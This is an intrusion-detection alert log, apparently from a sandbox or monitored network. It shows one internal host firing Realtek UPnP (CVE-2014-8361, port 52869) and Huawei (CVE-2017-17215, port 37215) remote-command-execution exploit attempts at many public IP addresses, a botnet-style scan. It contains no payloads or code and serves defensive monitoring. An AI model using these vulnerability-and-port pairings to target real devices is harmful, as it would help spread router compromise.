ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 118.155.226.123

Timestamp:	07/20/24-23:10:51.896835
SID:	2027339
Source Port:	33066
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 69.210.2.130

Timestamp:	07/20/24-23:10:39.397605
SID:	2025132
Source Port:	56016
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 36.49.92.9

Timestamp:	07/20/24-23:10:58.998725
SID:	2829579
Source Port:	54954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 207.219.56.164

Timestamp:	07/20/24-23:10:41.233111
SID:	2829579
Source Port:	40124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 171.98.191.97

Timestamp:	07/20/24-23:10:43.932768
SID:	2025132
Source Port:	59498
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 155.240.87.154

Timestamp:	07/20/24-23:10:52.955677
SID:	2027339
Source Port:	40792
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.230.78.164

Timestamp:	07/20/24-23:10:40.653603
SID:	2829579
Source Port:	48734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.53.142.163

Timestamp:	07/20/24-23:10:52.531229
SID:	2829579
Source Port:	44638
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.241.6.192

Timestamp:	07/20/24-23:10:39.488246
SID:	2835222
Source Port:	34532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.249.144.129

Timestamp:	07/20/24-23:11:03.368250
SID:	2829579
Source Port:	36888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 116.197.1.84

Timestamp:	07/20/24-23:10:47.958166
SID:	2025132
Source Port:	54760
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.185.248.50

Timestamp:	07/20/24-23:10:52.592459
SID:	2829579
Source Port:	33412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.71.60.13

Timestamp:	07/20/24-23:10:46.734527
SID:	2835222
Source Port:	54616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.174.147.13

Timestamp:	07/20/24-23:10:49.355429
SID:	2835222
Source Port:	58042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.251.90.146

Timestamp:	07/20/24-23:10:59.023708
SID:	2829579
Source Port:	36698
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.54.12.174

Timestamp:	07/20/24-23:10:41.227634
SID:	2829579
Source Port:	36952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 112.250.31.72

Timestamp:	07/20/24-23:10:51.933445
SID:	2027339
Source Port:	46636
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.4.105.187

Timestamp:	07/20/24-23:10:49.402846
SID:	2829579
Source Port:	49026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 184.114.49.59

Timestamp:	07/20/24-23:10:44.794102
SID:	2027339
Source Port:	43430
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 132.67.102.180

Timestamp:	07/20/24-23:10:51.999918
SID:	2831300
Source Port:	37424
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 100.180.255.242

Timestamp:	07/20/24-23:10:51.920409
SID:	2831300
Source Port:	47140
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 155.186.2.88

Timestamp:	07/20/24-23:10:42.620216
SID:	2831300
Source Port:	53590
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 102.181.59.60

Timestamp:	07/20/24-23:10:39.749374
SID:	2027339
Source Port:	42632
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.124.152.142

Timestamp:	07/20/24-23:10:42.273908
SID:	2829579
Source Port:	59832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 13.225.171.30

Timestamp:	07/20/24-23:10:56.021160
SID:	2829579
Source Port:	51802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.183.21.37

Timestamp:	07/20/24-23:11:03.361258
SID:	2829579
Source Port:	58542
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.90.115.179

Timestamp:	07/20/24-23:10:42.255257
SID:	2829579
Source Port:	59268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.152.251.193

Timestamp:	07/20/24-23:11:03.378926
SID:	2835222
Source Port:	58288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.151.166.61

Timestamp:	07/20/24-23:10:40.604940
SID:	2835222
Source Port:	32902
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 172.248.193.236

Timestamp:	07/20/24-23:10:51.944865
SID:	2831300
Source Port:	56912
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.28.65.67

Timestamp:	07/20/24-23:10:41.220541
SID:	2835222
Source Port:	43324
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 133.58.253.32

Timestamp:	07/20/24-23:10:40.110141
SID:	2025132
Source Port:	39414
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 60.47.44.203

Timestamp:	07/20/24-23:10:52.061682
SID:	2831300
Source Port:	43186
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.212.128.84

Timestamp:	07/20/24-23:10:46.739331
SID:	2835222
Source Port:	57206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.174.16.208

Timestamp:	07/20/24-23:10:59.029814
SID:	2835222
Source Port:	40188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 46.156.254.69

Timestamp:	07/20/24-23:10:44.575723
SID:	2025132
Source Port:	33552
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.43.151.167

Timestamp:	07/20/24-23:10:52.517494
SID:	2835222
Source Port:	42422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.199.156.147

Timestamp:	07/20/24-23:11:06.689532
SID:	2829579
Source Port:	40466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 158.108.32.200

Timestamp:	07/20/24-23:10:52.061682
SID:	2027339
Source Port:	43468
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 140.235.15.87

Timestamp:	07/20/24-23:10:39.433488
SID:	2829579
Source Port:	41866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.127.119.138

Timestamp:	07/20/24-23:10:41.222356
SID:	2835222
Source Port:	46766
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 201.135.8.30

Timestamp:	07/20/24-23:10:42.263488
SID:	2835222
Source Port:	49476
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 66.29.130.220

Timestamp:	07/20/24-23:10:43.541787
SID:	2027339
Source Port:	43666
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.1.29.38

Timestamp:	07/20/24-23:10:39.485535
SID:	2835222
Source Port:	52820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.233.53.226

Timestamp:	07/20/24-23:11:03.396635
SID:	2829579
Source Port:	35560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 102.181.59.60

Timestamp:	07/20/24-23:10:42.621194
SID:	2027339
Source Port:	43364
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 154.8.108.34

Timestamp:	07/20/24-23:10:48.320201
SID:	2027339
Source Port:	50658
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 24.166.44.145

Timestamp:	07/20/24-23:10:51.970585
SID:	2027339
Source Port:	35444
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.143.76.23

Timestamp:	07/20/24-23:10:39.438135
SID:	2829579
Source Port:	59254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 207.193.151.163

Timestamp:	07/20/24-23:11:06.687949
SID:	2835222
Source Port:	58394
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 108.128.208.18

Timestamp:	07/20/24-23:10:39.205185
SID:	2025132
Source Port:	39438
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.198.39.152

Timestamp:	07/20/24-23:10:46.810541
SID:	2829579
Source Port:	54980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.176.134.19

Timestamp:	07/20/24-23:10:59.012072
SID:	2829579
Source Port:	48662
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.179.65.72

Timestamp:	07/20/24-23:10:55.979374
SID:	2829579
Source Port:	49654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.246.166.200

Timestamp:	07/20/24-23:10:39.433488
SID:	2835222
Source Port:	51110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.147.34.23

Timestamp:	07/20/24-23:10:42.249182
SID:	2829579
Source Port:	35044
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 35.188.243.106

Timestamp:	07/20/24-23:10:58.986541
SID:	2835222
Source Port:	36308
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 144.40.158.145

Timestamp:	07/20/24-23:10:51.923394
SID:	2831300
Source Port:	60804
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.210.198.249

Timestamp:	07/20/24-23:10:41.228606
SID:	2829579
Source Port:	35728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 72.206.41.225

Timestamp:	07/20/24-23:11:03.361095
SID:	2835222
Source Port:	45910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 20.223.23.215

Timestamp:	07/20/24-23:10:51.988569
SID:	2027339
Source Port:	38454
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 184.222.40.221

Timestamp:	07/20/24-23:10:39.497131
SID:	2835222
Source Port:	33952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.182.193.172

Timestamp:	07/20/24-23:10:52.546429
SID:	2835222
Source Port:	34740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.58.174.18

Timestamp:	07/20/24-23:10:56.011227
SID:	2829579
Source Port:	55328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.123.0.39

Timestamp:	07/20/24-23:10:49.383600
SID:	2835222
Source Port:	49878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 110.110.225.230

Timestamp:	07/20/24-23:10:41.234520
SID:	2829579
Source Port:	37580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 167.80.147.223

Timestamp:	07/20/24-23:10:44.028699
SID:	2027339
Source Port:	51834
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.172.222.139

Timestamp:	07/20/24-23:10:41.227589
SID:	2835222
Source Port:	56374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.137.222.201

Timestamp:	07/20/24-23:11:03.368250
SID:	2829579
Source Port:	45136
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.113.109.39

Timestamp:	07/20/24-23:11:03.371424
SID:	2829579
Source Port:	36700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 223.10.231.163

Timestamp:	07/20/24-23:10:42.639392
SID:	2027339
Source Port:	46384
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 61.1.165.207

Timestamp:	07/20/24-23:10:44.562694
SID:	2025132
Source Port:	38062
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 78.179.192.192

Timestamp:	07/20/24-23:10:48.638182
SID:	2027339
Source Port:	33318
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 23.213.111.232

Timestamp:	07/20/24-23:10:45.826059
SID:	2027339
Source Port:	38046
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.140.181.240

Timestamp:	07/20/24-23:10:40.607363
SID:	2835222
Source Port:	40162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 87.2.229.121

Timestamp:	07/20/24-23:10:51.937938
SID:	2027339
Source Port:	32872
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 133.58.253.32

Timestamp:	07/20/24-23:10:42.637866
SID:	2831300
Source Port:	40292
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 50.80.239.207

Timestamp:	07/20/24-23:10:52.549474
SID:	2835222
Source Port:	59808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 200.157.164.208

Timestamp:	07/20/24-23:10:51.915609
SID:	2831300
Source Port:	54980
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 134.192.167.73

Timestamp:	07/20/24-23:10:39.152961
SID:	2025132
Source Port:	55874
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 211.213.18.108

Timestamp:	07/20/24-23:10:47.680323
SID:	2025132
Source Port:	45624
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.133.211.18

Timestamp:	07/20/24-23:10:39.479939
SID:	2829579
Source Port:	33022
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.224.233.88

Timestamp:	07/20/24-23:10:46.756934
SID:	2835222
Source Port:	42906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.228.38.103

Timestamp:	07/20/24-23:10:56.002189
SID:	2829579
Source Port:	34798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.226.143.7

Timestamp:	07/20/24-23:10:56.030930
SID:	2829579
Source Port:	41276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 130.142.173.122

Timestamp:	07/20/24-23:10:44.571221
SID:	2027339
Source Port:	50154
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 63.97.65.81

Timestamp:	07/20/24-23:10:51.906948
SID:	2831300
Source Port:	48738
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.133.163.120

Timestamp:	07/20/24-23:10:49.383600
SID:	2829579
Source Port:	50424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 119.58.176.87

Timestamp:	07/20/24-23:10:47.654705
SID:	2025132
Source Port:	38562
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.140.111.60

Timestamp:	07/20/24-23:11:03.382352
SID:	2829579
Source Port:	41934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 143.77.32.144

Timestamp:	07/20/24-23:10:42.621600
SID:	2027339
Source Port:	41120
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.96.146.83

Timestamp:	07/20/24-23:10:49.445760
SID:	2829579
Source Port:	44468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 192.27.39.245

Timestamp:	07/20/24-23:10:51.971548
SID:	2027339
Source Port:	49762
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.203.21.71

Timestamp:	07/20/24-23:10:59.004938
SID:	2829579
Source Port:	35296
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.126.18.168

Timestamp:	07/20/24-23:10:42.249913
SID:	2829579
Source Port:	50632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.180.105.213

Timestamp:	07/20/24-23:10:41.241817
SID:	2835222
Source Port:	48956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.181.106.45

Timestamp:	07/20/24-23:10:56.002189
SID:	2835222
Source Port:	59280
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 12.48.52.3

Timestamp:	07/20/24-23:10:49.370142
SID:	2829579
Source Port:	54374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 47.132.43.96

Timestamp:	07/20/24-23:10:51.983127
SID:	2027339
Source Port:	35274
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.137.59.221

Timestamp:	07/20/24-23:11:06.706527
SID:	2835222
Source Port:	55676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.174.248.251

Timestamp:	07/20/24-23:10:40.652868
SID:	2829579
Source Port:	41764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

